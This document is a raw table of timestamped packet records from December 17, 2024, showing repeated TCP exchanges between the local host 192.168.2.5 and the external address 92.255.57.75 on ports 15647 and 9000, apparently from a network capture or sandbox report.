Dec 17, 2024 08:40:17.935163975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.935869932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.959366083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.959867001 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.963485956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.963572025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.964909077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.965017080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.965106010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.994680882 CET	9000	50051	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.994810104 CET	50051	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.995011091 CET	50051	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.011574030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.011835098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.019038916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.019818068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.037400007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.039731026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.039822102 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.057295084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.070972919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.071861982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.083348036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.083841085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.089142084 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.091831923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.108901978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.114646912 CET	9000	50051	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.125840902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.139712095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.139861107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.151509047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.151875019 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.158333063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.159849882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.177078009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.178527117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.191687107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.191869020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.196393013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.199852943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.211623907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.211848021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.216738939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.216949940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.217072010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.228770971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.231839895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.245635033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.245748997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.251493931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.251607895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.251619101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.271609068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.271712065 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.280961037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.281050920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.281160116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.281604052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.282557964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.282651901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.298557997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.298641920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.319813013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.319952965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.331882954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.331978083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.351696968 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.351771116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.369549990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.369585991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.369668007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.371999025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.372052908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.372107029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.383918047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.383985043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.400772095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.401005983 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.402087927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.402179003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.402200937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.402260065 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.404026985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.404081106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.428662062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.439800024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.439937115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.451746941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.451852083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.472800970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.472908020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.474456072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.474503994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.474518061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.474538088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.490731955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.490802050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.496623993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.496640921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.496670961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.496694088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.519795895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.519912958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.519916058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.523819923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.524256945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.544986963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.545067072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.545157909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.548470020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.550117970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.567890882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.571279049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.571439981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.571546078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.589730978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.589803934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.589924097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.610652924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.611900091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.617760897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.617892027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.618024111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.636234999 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.636261940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.636405945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.643938065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.647871971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.667084932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.667886972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.668278933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.668340921 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.668416023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.671825886 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.687652111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.691262960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.695871115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.695943117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.695944071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.710939884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.711019993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.711034060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.736757040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.736859083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.756293058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.756356955 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.756897926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.756954908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.757122040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.757165909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.787921906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.788008928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.802872896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.802903891 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.802953959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.814742088 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.814809084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.814888000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.831857920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.832040071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.850059986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.860368967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.860455036 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.876064062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.876133919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.876164913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.876272917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.877562046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.877616882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.879770994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.879858971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.908482075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.908516884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.908600092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.933598995 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.934542894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.948718071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.948759079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.948828936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.969939947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.970042944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.980241060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.980314970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:18.999571085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:18.999655962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.006428003 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.006541014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.010704994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.010768890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.010837078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.030211926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.030294895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.030297041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.053405046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.053489923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.057468891 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.057521105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.057527065 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.083906889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.084002972 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.084088087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.100075006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.103871107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.120683908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.120701075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.120845079 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.130610943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.134275913 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.143804073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.147929907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.162450075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.163897038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.177268982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.179877996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.188061953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.191888094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.208067894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.220694065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.223891020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.241605043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.241612911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.243506908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.244870901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.244990110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.245018959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.261738062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.263858080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.275930882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.279889107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.296646118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.296776056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.296900988 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.312213898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.315954924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.320075989 CET	9000	50051	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.320138931 CET	9000	50051	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.320271015 CET	50051	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.320410967 CET	50051	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.328455925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.328767061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.342789888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.342875004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.361651897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.361772060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.365113974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.365179062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.365992069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.366097927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.369756937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.369911909 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.369940996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.377722025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.377885103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.377970934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.396868944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.397051096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.416021109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.416093111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.416421890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.416981936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.416994095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.417052984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.432872057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.432945013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.433669090 CET	50056	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.440006971 CET	9000	50051	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.442270041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.442341089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.442420006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.460036993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.460124969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.481503963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.481576920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.487951994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.488019943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.503849983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.507894039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.524003029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.535955906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.536760092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.536909103 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.553451061 CET	9000	50056	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.553728104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.553736925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.553771973 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.553891897 CET	50056	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.553961992 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.553978920 CET	50056	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.561237097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.563451052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.563565969 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.563565969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.563786983 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.599627972 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.599711895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.599716902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.607825994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.608989954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.609052896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.641067028 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.643826962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.644138098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.644212008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.644257069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.644290924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.647145033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.647247076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.673171997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.673577070 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.673738956 CET	9000	50056	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.673798084 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.673823118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.673863888 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.680002928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.680104971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.680378914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.681601048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.683468103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.695688963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.695741892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.716114998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.716161013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.716177940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.716228962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.728429079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.728473902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.728485107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.753190994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.753245115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.753248930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:19.760987043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:19.761122942 CET	49998	15647	192.168.2.5	92.255.57.75
